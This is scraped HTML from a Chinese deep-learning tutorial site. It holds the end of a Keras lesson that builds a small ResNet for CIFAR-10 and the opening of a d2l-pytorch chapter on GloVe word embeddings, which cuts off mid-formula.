href=\"./class_2.html\">根据不同的模型数据要求,给原始数据图像增加维度</a></li>\n<li>\n<p><a href=\"./class_3.html\">使用Keras内置的ImageDataGenerator来做数据增强</a></p>\n</li>\n<li>\n<p>知识点目录 模型相关(Model)</p>\n</li>\n<li>\n<p><a href=\"./class_1.html\">Sequential模型的定义,以及如何添加层</a></p>\n</li>\n<li><a href=\"./class_3.html\">另一种使用Sequential()构建模型的方法,更加的简单快捷</a></li>\n<li><a href=\"./class_4.html\">使用函数式模型(Functional)更加自由的构建模型</a></li>\n<li><a href=\"./class_4.html\">将通过Functional方式定义的层初始化为一个模型(Model)</a></li>\n<li><a href=\"./class_1.html\">使用compile对网络进行配置</a></li>\n<li><a href=\"./class_1.html\">使用fit方法来对小数据库进行训练</a></li>\n<li><a href=\"./class_3.html\">使用fit_generator来进行针对增强数据的训练</a></li>\n<li><a href=\"./class_1.html\">使用evaluate方法来对模型进行效果评估</a></li>\n<li>\n<p><a href=\"./class_3.html\">保存模型</a></p>\n</li>\n<li>\n<p>知识点目录 网络层相关(Layers)</p>\n</li>\n<li>\n<p><a href=\"./class_1.html\">如何对Dense层及Dropout层进行基本的配置</a></p>\n</li>\n<li><a href=\"./class_2.html\">Conv2D卷积层和MaxPooling2D池化层的使用</a></li>\n<li>\n<p><a href=\"./class_4.html\">使用keras.layers.add方法,将两个张量进行相加</a></p>\n</li>\n<li>\n<p>知识点目录 经典网络</p>\n</li>\n<li>\n<p><a href=\"./class_4.html\">搭建一个精简版的ResNet网络</a></p>\n</li>\n<li>\n<p>知识点目录 训练技巧</p>\n</li>\n<li>\n<p><a href=\"./class_4.html\">在训练中调用回调函数</a></p>\n</li>\n<li><a href=\"./class_4.html\">使用LearningRateScheduler在训练过程中动态的调节学习率</a></li>\n<li><a href=\"./class_4.html\">使用ModelCheckpoint保存checkpoint</a></li>\n<li>\n<p><a href=\"./class_4.html\">使用ReduceLROnPlateau在训练进入平台期的时候动态调节学习率</a></p>\n</li>\n<li>\n<p>知识点目录 其他</p>\n</li>\n<li>\n<p><a href=\"./class_5.html\">何用TensorBoard监控训练过程</a></p>\n</li>\n<li><a href=\"./class_5.html\">如何保存网络结构图</a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>Keras入门课4:使用ResNet识别cifar10数据集</h1>\n<p>前面几节课都是用一些简单的网络来做图像识别,这节课我们要使用经典的ResNet网络对cifar10进行分类。</p>\n<p>ResNet是何凯明大神提出的残差网络,具体论文见此 </p>\n<p>ResNet v1<br />\nDeep Residual Learning for Image Recognition<br />\nhttps://arxiv.org/pdf/1512.03385.pdf<br />\nResNet v2<br />\nIdentity Mappings in Deep Residual Networks<br />\nhttps://arxiv.org/pdf/1603.05027.pdf </p>\n<p>这一节课,我们只动手实现v1的一个精简版本(因为数据集cifar10的数据比较小)</p>\n<pre><code class=\"python\">import keras\nfrom keras.layers import Dense, Conv2D, BatchNormalization, Activation\nfrom keras.layers import AveragePooling2D, Input, Flatten\nfrom keras.optimizers import Adam\nfrom keras.regularizers import l2\nfrom keras import backend as K\nfrom keras.models import Model\nfrom keras.datasets import cifar10\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler\nfrom keras.callbacks import ReduceLROnPlateau\nimport numpy as np\nimport os\n</code></pre>\n\n<pre><code class=\"python\">(x_train, y_train), (x_test, y_test) = cifar10.load_data()\n</code></pre>\n\n<pre><code class=\"python\">x_train = x_train/255\nx_test = x_test/255\ny_train = keras.utils.to_categorical(y_train,10)\ny_test = keras.utils.to_categorical(y_test,10)\n</code></pre>\n\n<p>↓构建模型基本模块,ResNet Block</p>\n<p>这里没有用Sequential模型,而是用了另外一种构建模型的方法,即函数式模型(Functional)\nSequential模型有一个缺陷,即网络只能一层一层的堆叠起来,无法处理分支网络的情况。比如ResNet或GoogleNet中的Inception模块。使用Functional模型,构建起模型来十分自由,可以组合成各种各样的网络,可以说Sequential模型是Functional模型的一个子集。</p>\n<p>使用函数式模型很简单,直接在网络层模块后写一个括号,参数就是当前层的输入值,返回值就是当前层的输出值,比如:net = Conv2D(...)(inputs)</p>\n<p><img alt=\"\" src=\"./images/resnetblock.png\" /></p>\n<p>↓首先构建一个基本的block模块,就是上图的weight layer,这个模块包含了一个卷积层,一个BN层,一个激活层。可以看到上图下面那个layer没有激活层,所以函数内做了一个判断</p>\n<p>BN层的作用是对输出参数做归一化,可以有效使网络更易训练。一般来说,加了BN层的网络,可以不必再用Dropout层。\n同时这一次我们在卷积层中加入了L2正则化,目的是提升模型的泛化能力。</p>\n<pre><code class=\"python\">#ResNet Block\ndef resnet_block(inputs,num_filters=16,\n kernel_size=3,strides=1,\n activation='relu'):\n x = Conv2D(num_filters,kernel_size=kernel_size,strides=strides,padding='same',\n kernel_initializer='he_normal',kernel_regularizer=l2(1e-4))(inputs)\n x = BatchNormalization()(x)\n if(activation):\n x = Activation('relu')(x)\n return x\n</code></pre>\n\n<p>↓这里构建整个网络。由于我们要处理的图像较小,所以ResNet用的也是一个20层的小号版。\n总体上分为五大部分。上面那张图我们称之为一个building block</p>\n<p>输入层<br />\n↓<br />\n6层 filter大小为16的building block<br />\n↓<br />\n6层 filter大小为32的building block<br />\n↓<br />\n6层 filter大小为64的building block<br />\n↓<br />\n一层全连接\n一层输出层<br />\n第2~7层属于一个很规整的层叠加,每一个循环里都是在搭建一个building block<br />\n第8~13层里面的首层的strides=2,这样输出就是16<em>16</em>32大小的张量,而输入是32<em>32</em>16大小的张量,所以对输入又做了一个卷积操作,使得其shape和正常卷积层的输出一直,这样才可以执行add操作。\n第14~19层套路一样</p>\n<p>返回为通过Model初始化过的一个模型</p>\n<pre><code class=\"python\"># 建一个20层的ResNet网络 \ndef resnet_v1(input_shape):\n inputs = Input(shape=input_shape)# Input层,用来当做占位使用\n\n #第一层\n x = resnet_block(inputs)\n print('layer1,xshape:',x.shape)\n # 第2~7层\n for i in range(6):\n a = resnet_block(inputs = x)\n b = resnet_block(inputs=a,activation=None)\n x = keras.layers.add([x,b])\n x = Activation('relu')(x)\n # out:32*32*16\n # 第8~13层\n for i in range(6):\n if i == 0:\n a = resnet_block(inputs = x,strides=2,num_filters=32)\n else:\n a = resnet_block(inputs = x,num_filters=32)\n b = resnet_block(inputs=a,activation=None,num_filters=32)\n if i==0:\n x = Conv2D(32,kernel_size=3,strides=2,padding='same',\n kernel_initializer='he_normal',kernel_regularizer=l2(1e-4))(x)\n x = keras.layers.add([x,b])\n x = Activation('relu')(x)\n # out:16*16*32\n # 第14~19层\n for i in range(6):\n if i ==0 :\n a = resnet_block(inputs = x,strides=2,num_filters=64)\n else:\n a = resnet_block(inputs = x,num_filters=64)\n\n b = resnet_block(inputs=a,activation=None,num_filters=64)\n if i == 0:\n x = Conv2D(64,kernel_size=3,strides=2,padding='same',\n kernel_initializer='he_normal',kernel_regularizer=l2(1e-4))(x)\n x = keras.layers.add([x,b])# 相加操作,要求x、b shape完全一致\n x = Activation('relu')(x)\n # out:8*8*64\n # 第20层 \n x = AveragePooling2D(pool_size=2)(x)\n # out:4*4*64\n y = Flatten()(x)\n # out:1024\n outputs = Dense(10,activation='softmax',\n kernel_initializer='he_normal')(y)\n\n #初始化模型\n #之前的操作只是将多个神经网络层进行了相连,通过下面这一句的初始化操作,才算真正完成了一个模型的结构初始化\n model = Model(inputs=inputs,outputs=outputs)\n return model\n</code></pre>\n\n<pre><code class=\"python\">model = resnet_v1((32,32,3))\nprint(model)\n</code></pre>\n\n<pre><code class=\"python\">model.compile(loss='categorical_crossentropy',\noptimizer=Adam(),\nmetrics=['accuracy'])\n\nmodel.summary()\n</code></pre>\n\n<p>↓callbacks \nmodel的.fit方法有一个参数是callbacks,这个参数可以传入一些其他待执行的函数,在训练过程中,每一个epoch会调用一次列表中的callbacks </p>\n<p>本次课程用到的几个回调函数<br />\nModelCheckpoint:用来每个epoch存储一遍模型<br />\nLearningRateScheduler:用来动态调整学习率。其输入为一个函数,该函数的输入为当前epoch数,返回为对应的学习率<br />\nReduceLROnPlateau:用来在训练停滞不前的时候动态降低学习率。</p>\n<pre><code class=\"python\">checkpoint = ModelCheckpoint(filepath='./cifar10_resnet_ckpt.h5',monitor='val_acc',\n verbose=1,save_best_only=True)\ndef lr_sch(epoch):\n #200 total\n if epoch &lt;50:\n return 1e-3\n if 50&lt;=epoch&lt;100:\n return 1e-4\n if epoch&gt;=100:\n return 1e-5\nlr_scheduler = LearningRateScheduler(lr_sch)\nlr_reducer = ReduceLROnPlateau(monitor='val_acc',factor=0.2,patience=5,\n mode='max',min_lr=1e-3)\ncallbacks = [checkpoint,lr_scheduler,lr_reducer]\n</code></pre>\n\n<pre><code class=\"python\">model.fit(x_train,y_train,batch_size=64,epochs=200,validation_data=(x_test,y_test),verbose=1,callbacks=callbacks)\n</code></pre>\n\n<pre><code class=\"python\">scores = model.evaluate(x_test,y_test,verbose=1)\nprint('Test loss:',scores[0])\nprint('Test accuracy:',scores[1])\n</code></pre>\n\n<p>通过了200个批次的训练,训练集的准确率已经达到了100%,测试集达到了82.44%。这还是没有使用数据增强的效果,如果使用数据增强,准确率可以达到90+%</p>\n<h2>总结</h2>\n<ol>\n<li>学习了一种新的构建模型的方法,函数式模型(Functional),更自由灵活</li>\n<li>学习了如何将通过Functional方式定义的层初始化为一个模型(Model)</li>\n<li>使用keras.layers.add方法,可以将两个一模一样的张量进行相加</li>\n<li>搭建了一个精简版的ResNet网络</li>\n<li>学习了如何在训练中调用回调函数</li>\n<li>学习了在训练过程中动态的调节学习率(使用LearningRateScheduler)</li>\n<li>学习了保存checkpoint(使用ModelCheckpoint)</li>\n<li>使用ReduceLROnPlateau在训练进入平台期的时候动态调节学习率</li>\n</ol>\n<p>参考:</p>\n<blockquote>\n<p>https://github.com/keras-team/keras/blob/master/examples/cifar10_resnet.py</p>\n</blockquote>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.5954873561859131, "alphanum_fraction": 0.6428920030593872, "avg_line_length": 57.53333282470703, "blob_id": "144754c9c716e3a9c75f91f22937c968a4eaf41c", "content_id": "c7c106784bd68e7d4eada53c7b1de8d2256a9483", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 23525, "license_type": "no_license", "max_line_length": 383, "num_lines": 315, "path": "/d2l-pytorch/chapter10_natural-language-processing/10.5_glove.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>10.5 全局向量的词嵌入(GloVe) - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n \n <li>简介</li>\n <li><a href=\"/d2l-pytorch/chapter01_DL-intro/deep-learning-intro.html\">1. 深度学习简介</a></li>\n <li>预备知识</li>\n <li><a href=\"/d2l-pytorch/chapter02_prerequisite/2.1_install.html\">2.1 环境配置</a></li>\n <li><a href=\"/d2l-pytorch/chapter02_prerequisite/2.2_tensor.html\">2.2 数据操作</a></li>\n <a href=\"/d2l-pytorch/chapter02_prerequisite/2.3_autograd.html\">2.3 自动求梯度</a></li>\n <li>深度学习基础</li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.1_linear-regression.html\">3.1 线性回归</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.2_linear-regression-scratch.html\">3.2 线性回归的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.3_linear-regression-pytorch.html\">3.3 线性回归的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.4_softmax-regression.html\">3.4 softmax回归</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.5_fashion-mnist.html\">3.5 图像分类数据集(Fashion-MNIST)</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.6_softmax-regression-scratch.html\">3.6 softmax回归的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.7_softmax-regression-pytorch.html\">3.7 softmax回归的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.8_mlp.html\">3.8 多层感知机</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.9_mlp-scratch.html\">3.9 多层感知机的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.10_mlp-pytorch.html\">3.10 多层感知机的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.11_underfit-overfit.html\">3.11 模型选择、欠拟合和过拟合</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.12_weight-decay.html\">3.12 权重衰减</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.13_dropout.html\">3.13 丢弃法</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.14_backprop.html\">3.14 正向传播、反向传播和计算图</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.15_numerical-stability-and-init.html\">3.15 数值稳定性和模型初始化</a></li>\n <li><a href=\"/d2l-pytorch/chapter03_DL-basics/3.16_kaggle-house-price.html\">3.16 实战Kaggle比赛:房价预测</a></li>\n <li>深度学习计算</li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.1_model-construction.html\">4.1 模型构造</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.2_parameters.html\">4.2 模型参数的访问、初始化和共享</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.3_deferred-init.html\">4.3 模型参数的延后初始化</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.4_custom-layer.html\">4.4 自定义层</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.5_read-write.html\">4.5 读取和存储</a></li>\n <li><a href=\"/d2l-pytorch/chapter04_DL_computation/4.6_use-gpu.html\">4.6 GPU计算</a></li>\n <li>卷积神经网络</li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.1_conv-layer.html\">5.1 二维卷积层</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.2_padding-and-strides.html\">5.2 填充和步幅</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.3_channels.html\">5.3 多输入通道和多输出通道</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.4_pooling.html\">5.4 池化层</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.5_lenet.html\">5.5 卷积神经网络(LeNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.6_alexnet.html\">5.6 深度卷积神经网络(AlexNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.7_vgg.html\">5.7 使用重复元素的网络(VGG)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.8_nin.html\">5.8 网络中的网络(NiN)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.9_googlenet.html\">5.9 含并行连结的网络(GoogLeNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.10_batch-norm.html\">5.10 批量归一化</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.11_resnet.html\">5.11 残差网络(ResNet)</a></li>\n <li><a href=\"/d2l-pytorch/chapter05_CNN/5.12_densenet.html\">5.12 稠密连接网络(DenseNet)</a></li>\n <li>循环神经网络</li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.1_lang-model.html\">6.1 语言模型</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.2_rnn.html\">6.2 循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.3_lang-model-dataset.html\">6.3 语言模型数据集(周杰伦专辑歌词)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.4_rnn-scratch.html\">6.4 循环神经网络的从零开始实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.5_rnn-pytorch.html\">6.5 循环神经网络的简洁实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.6_bptt.html\">6.6 通过时间反向传播</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.7_gru.html\">6.7 门控循环单元(GRU)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.8_lstm.html\">6.8 长短期记忆(LSTM)</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.9_deep-rnn.html\">6.9 深度循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter06_RNN/6.10_bi-rnn.html\">6.10 双向循环神经网络</a></li>\n <li>优化算法</li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.1_optimization-intro.html\">7.1 优化与深度学习</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.2_gd-sgd.html\">7.2 梯度下降和随机梯度下降</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.3_minibatch-sgd.html\">7.3 小批量随机梯度下降</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.4_momentum.html\">7.4 动量法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.5_adagrad.html\">7.5 AdaGrad算法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.6_rmsprop.html\">7.6 RMSProp算法</a></li>\n <li><a href=\"/d2l-pytorch/chapter07_optimization/7.7_adadelta.html\">7.7 AdaDelta算法</a></li>\n <a href=\"/d2l-pytorch/chapter07_optimization/7.8_adam.html\">7.8 Adam算法</a></li>\n <li>计算性能</li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.1_hybridize.html\">8.1 命令式和符号式混合编程</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.2_async-computation.html\">8.2 异步计算</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.3_auto-parallelism.html\">8.3 自动并行计算</a></li>\n <li><a href=\"/d2l-pytorch/chapter08_computational-performance/8.4_multiple-gpus.html\">8.4 多GPU计算</a></li>\n <li>计算机视觉</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.1_image-augmentation.html\">9.1 图像增广</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.2_fine-tuning.html\">9.2 微调</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.3_bounding-box.html\">9.3 目标检测和边界框</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.4_anchor.html\">9.4 锚框</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.5_multiscale-object-detection.html\">9.5 多尺度目标检测</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.6_object-detection-dataset.html\">9.6 目标检测数据集(皮卡丘)</a></li>\n <li>9.7 单发多框检测(SSD)</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.8_rcnn.html\">9.8 区域卷积神经网络(R-CNN)系列</a></li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.9_semantic-segmentation-and-dataset.html\">9.9 语义分割和数据集</a></li>\n <li>9.10 全卷积网络(FCN)</li>\n <li><a href=\"/d2l-pytorch/chapter09_computer-vision/9.11_neural-style.html\">9.11 样式迁移</a></li>\n <li>9.12 实战Kaggle比赛:图像分类(CIFAR-10)</li>\n <li>9.13 实战Kaggle比赛:狗的品种识别(ImageNet Dogs)<li>\n <li>自然语言处理</li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.1_word2vec.html\">10.1 词嵌入(word2vec)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.2_approx-training.html\">10.2 近似训练</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.3_word2vec-pytorch.html\">10.3 word2vec的实现</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.4_fasttext.html\">10.4 子词嵌入(fastText)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.5_glove.html\">10.5 全局向量的词嵌入(GloVe)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.6_similarity-analogy.html\">10.6 求近义词和类比词</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.7_sentiment-analysis-rnn.html\">10.7 文本情感分类:使用循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.8_sentiment-analysis-cnn.html\">10.8 文本情感分类:使用卷积神经网络(textCNN)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.9_seq2seq.html\">10.9 编码器—解码器(seq2seq)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.10_beam-search.html\">10.10 束搜索</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.11_attention.html\">10.11 注意力机制</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.12_machine-translation.html\">10.12 机器翻译</a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>10.5 全局向量的词嵌入(GloVe)</h1>\n<p>让我们先回顾一下word2vec中的跳字模型。将跳字模型中使用softmax运算表达的条件概率$P(w_j\\mid w_i)$记作$q_{ij}$,即</p>\n<p>$$\nq_{ij}=\\frac{\\exp(\\boldsymbol{u}<em>j^\\top \\boldsymbol{v}_i)}{ \\sum</em>{k \\in \\mathcal{V}} \\text{exp}(\\boldsymbol{u}_k^\\top \\boldsymbol{v}_i)},\n$$</p>\n<p>其中$\\boldsymbol{v}_i$和$\\boldsymbol{u}_i$分别是索引为$i$的词$w_i$作为中心词和背景词时的向量表示,$\\mathcal{V} = {0, 1, \\ldots, |\\mathcal{V}|-1}$为词典索引集。</p>\n<p>对于词$w_i$,它在数据集中可能多次出现。我们将每一次以它作为中心词的所有背景词全部汇总并保留重复元素,记作多重集(multiset)$\\mathcal{C}<em>i$。一个元素在多重集中的个数称为该元素的重数(multiplicity)。举例来说,假设词$w_i$在数据集中出现2次:文本序列中以这2个$w_i$作为中心词的背景窗口分别包含背景词索引$2,1,5,2$和$2,3,2,1$。那么多重集$\\mathcal{C}_i = {1,1,2,2,2,2,3,5}$,其中元素1的重数为2,元素2的重数为4,元素3和5的重数均为1。将多重集$\\mathcal{C}_i$中元素$j$的重数记作$x</em>{ij}$:它表示了整个数据集中所有以$w_i$为中心词的背景窗口中词$w_j$的个数。那么,跳字模型的损失函数还可以用另一种方式表达:</p>\n<p>$$\n-\\sum_{i\\in\\mathcal{V}}\\sum_{j\\in\\mathcal{V}} x_{ij} \\log\\,q_{ij}.\n$$</p>\n<p>我们将数据集中所有以词$w_i$为中心词的背景词的数量之和$\\left|\\mathcal{C}<em>i\\right|$记为$x_i$,并将以$w_i$为中心词生成背景词$w_j$的条件概率$x</em>{ij}/x_i$记作$p_{ij}$。我们可以进一步改写跳字模型的损失函数为</p>\n<p>$$\n-\\sum_{i\\in\\mathcal{V}} x_i \\sum_{j\\in\\mathcal{V}} p_{ij} \\log\\,q_{ij}.\n$$</p>\n<p>上式中,$-\\sum_{j\\in\\mathcal{V}} p_{ij} \\log\\,q_{ij}$计算的是以$w_i$为中心词的背景词条件概率分布$p_{ij}$和模型预测的条件概率分布$q_{ij}$的交叉熵,且损失函数使用所有以词$w_i$为中心词的背景词的数量之和来加权。最小化上式中的损失函数会令预测的条件概率分布尽可能接近真实的条件概率分布。</p>\n<p>然而,作为常用损失函数的一种,交叉熵损失函数有时并不是好的选择。一方面,正如我们在10.2节(近似训练)中所提到的,令模型预测$q_{ij}$成为合法概率分布的代价是它在分母中基于整个词典的累加项。这很容易带来过大的计算开销。另一方面,词典中往往有大量生僻词,它们在数据集中出现的次数极少。而有关大量生僻词的条件概率分布在交叉熵损失函数中的最终预测往往并不准确。</p>\n<h2>10.5.1 GloVe模型</h2>\n<p>鉴于此,作为在word2vec之后提出的词嵌入模型,GloVe模型采用了平方损失,并基于该损失对跳字模型做了3点改动 [1]:</p>\n<ol>\n<li>使用非概率分布的变量$p'<em>{ij}=x</em>{ij}$和$q'<em>{ij}=\\exp(\\boldsymbol{u}_j^\\top \\boldsymbol{v}_i)$,并对它们取对数。因此,平方损失项是$\\left(\\log\\,p'</em>{ij} - \\log\\,q'<em>{ij}\\right)^2 = \\left(\\boldsymbol{u}_j^\\top \\boldsymbol{v}_i - \\log\\,x</em>{ij}\\right)^2$。</li>\n<li>为每个词$w_i$增加两个为标量的模型参数:中心词偏差项$b_i$和背景词偏差项$c_i$。</li>\n<li>将每个损失项的权重替换成函数$h(x_{ij})$。权重函数$h(x)$是值域在$[0,1]$的单调递增函数。</li>\n</ol>\n<p>如此一来,GloVe模型的目标是最小化损失函数</p>\n<p>$$\\sum_{i\\in\\mathcal{V}} \\sum_{j\\in\\mathcal{V}} h(x_{ij}) \\left(\\boldsymbol{u}<em>j^\\top \\boldsymbol{v}_i + b_i + c_j - \\log\\,x</em>{ij}\\right)^2.$$</p>\n<p>其中权重函数$h(x)$的一个建议选择是:当$x &lt; c$时(如$c = 100$),令$h(x) = (x/c)^\\alpha$(如$\\alpha = 0.75$),反之令$h(x) = 1$。因为$h(0)=0$,所以对于$x_{ij}=0$的平方损失项可以直接忽略。当使用小批量随机梯度下降来训练时,每个时间步我们随机采样小批量非零$x_{ij}$,然后计算梯度来迭代模型参数。这些非零$x_{ij}$是预先基于整个数据集计算得到的,包含了数据集的全局统计信息。因此,GloVe模型的命名取“全局向量”(Global Vectors)之意。</p>\n<p>需要强调的是,如果词$w_i$出现在词$w_j$的背景窗口里,那么词$w_j$也会出现在词$w_i$的背景窗口里。也就是说,$x_{ij}=x_{ji}$。不同于word2vec中拟合的是非对称的条件概率$p_{ij}$,GloVe模型拟合的是对称的$\\log\\, 